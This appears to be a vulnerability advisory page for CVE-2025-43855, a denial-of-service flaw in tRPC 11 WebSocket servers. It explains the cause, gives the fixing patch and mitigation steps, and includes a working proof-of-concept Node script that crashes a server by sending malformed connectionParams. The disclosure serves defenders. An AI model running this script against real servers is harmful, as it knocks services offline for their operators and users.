Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm

GHSA-pj3v-9cm8-gvj8

tRPC 11 WebSocket DoS Vulnerability

Also known asCVE-2025-43855
Published
Apr 24, 2025
Updated
Apr 24, 2025
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk27th percentile+0.06%
0.00%0.28%0.57%0.85%0.1%0.3%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
📦@trpc/server

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An unhandled error is thrown when validating invalid connectionParams which crashes a tRPC WebSocket server. This allows any unauthenticated user to crash a tRPC 11 WebSocket server.

Details

Any tRPC 11 server with WebSocket enabled with a createContext method set is vulnerable. Here is an example:

https://github.com/user-attachments/assets/ce1b2d32-6103-4e54-8446-51535b293b05

I have a working reproduction here if you would like to test: https://github.com/lukechilds/trpc-vuln-reproduction

The connectionParams logic introduced in https://github.com/trpc/trpc/pull/5839 does not safely handle invalid connectionParams objects. During validation if the object does not match an expected shape an error will be thrown:

https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/unstable-core-do-not-import/http/parseConnectionParams.ts#L27-L33

This is called during WebSocket connection setup inside createCtxPromise() here:

https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L435

createCtxPromise has handling to catch any errors and pass them up to the opts.onError handler:

https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L144-L173

However the error handler then rethrows the error:

https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L171

Since this is all triggered from the WebSocket message event there is no higher level error handling so this causes an uncaught exception and crashes the server process.

This means any tRPC 11 server with WebSockets enabled can be crashed by an attacker sending an invalid connectionParams object. It doesn't matter if the server doesn't make user of connectionParams, the connectionParams logic can be initiated by the client.

To fix this vulnerability tRPC should not rethrow the error after it's be handled. This patch fixes the vulnerability:

From 5747b1d11946f60268eb86c59784bd6f7eb50abd Mon Sep 17 00:00:00 2001
From: Luke Childs <[email protected]>
Date: Sun, 20 Apr 2025 13:27:10 +0700
Subject: [PATCH] Don't throw already handled error

This error has already been handled so no need to re-throw. If we re-throw it will not be caught and will trigger an uncaught exception causing the entire server process to crash.
---
 packages/server/src/adapters/ws.ts | 2 --
 1 file changed, 2 deletions(-)

diff --git a/packages/server/src/adapters/ws.ts b/packages/server/src/adapters/ws.ts
index ad869affd..5a578b5cb 100644
--- a/packages/server/src/adapters/ws.ts
+++ b/packages/server/src/adapters/ws.ts
@@ -167,8 +167,6 @@ export function getWSConnectionHandler<TRouter extends AnyRouter>(
         (globalThis.setImmediate ?? globalThis.setTimeout)(() => {
           client.close();
         });
-
-        throw error;
       });
     }

--
2.48.1

PoC

This script will crash the target tRPC 11 server if WebSockets are enabled:

#!/usr/bin/env node

const TARGET = 'ws://localhost:3000'

// These malicious connection params will crash any tRPC v11.1.0 WebSocket server on validation
const MALICIOUS_CONNECTION_PARAMS = JSON.stringify({
  method: "connectionParams",
  data: { invalidConnectionParams: null },
});

// Open a connection to the target
const target = `${TARGET}?connectionParams=1`;
console.log(`Opening a WebSocket to ${target}`);
const socket = new WebSocket(target);

// Wait for the connection to be established
socket.addEventListener("open", () => {
  console.log("WebSocket established!");

  // Sends a message to the WebSocket server.
  console.log(`Sending malicious connectionParams`);
  socket.send(MALICIOUS_CONNECTION_PARAMS);
  console.log(`Done!`);
});

// Handle errors
socket.addEventListener("error", () => console.log("Error opening WebSocket"));

Complete PoC with vulnerable WebSocket server here: https://github.com/lukechilds/trpc-vuln-reproduction

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@trpc/server11.0.0&&< 11.1.111.1.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @trpc/server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update @trpc/server to 11.1.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pj3v-9cm8-gvj8 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-pj3v-9cm8-gvj8 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-pj3v-9cm8-gvj8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An unhandled error is thrown when validating invalid connectionParams which crashes a tRPC WebSocket server. This allows any unauthenticated user to crash a tRPC 11 WebSocket server. ### Details Any tRPC 11 server with WebSocket enabled with a `createContext` method set is vulnerable. Here is an example: https://github.com/user-attachments/assets/ce1b2d32-6103-4e54-8446-51535b293b05 I have a working reproduction here if you would like to test: https://github.com/lukechilds/trpc-vuln-reproduction The connectionParams logic introduced in https://github.com/trpc/trpc/pull/5839 do
O3 Security · Impact-Aware SCA

Is GHSA-pj3v-9cm8-gvj8 in your dependencies?

O3 detects GHSA-pj3v-9cm8-gvj8 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.